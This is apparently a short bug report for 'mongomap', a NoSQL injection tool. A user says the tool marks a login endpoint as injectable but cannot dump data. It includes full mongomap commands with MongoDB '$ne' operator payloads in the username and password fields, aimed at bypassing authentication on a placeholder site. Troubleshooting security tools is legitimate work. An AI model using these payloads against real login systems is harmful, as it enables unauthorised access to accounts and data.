Basic check succeeded, but no vulnerable parameters found - injectable injections don't work

[itfoldy]

I'm unable to dump, or use injections, even though they appear "Injectable"

Username: mongomap -u http://dummysite.com/login --method json --data {\"username\":{\"$ne\":\"1\"},\"password\":\"coolpassword\"}

Password: mongomap -u http://dummysite.com/login --method json --data {\"username\":\"coolusername\",\"password\":{\"$ne\":\"1\"}}

Whenever I try dumping like this: (length is abnormally long & whenever I try to send the payload, I receive an response back of the username or password being incorrect) mongomap -u http://dummysite.com/login --method json --data {\"username\":\"coolusername\",\"password\":\"coolpassword\"}
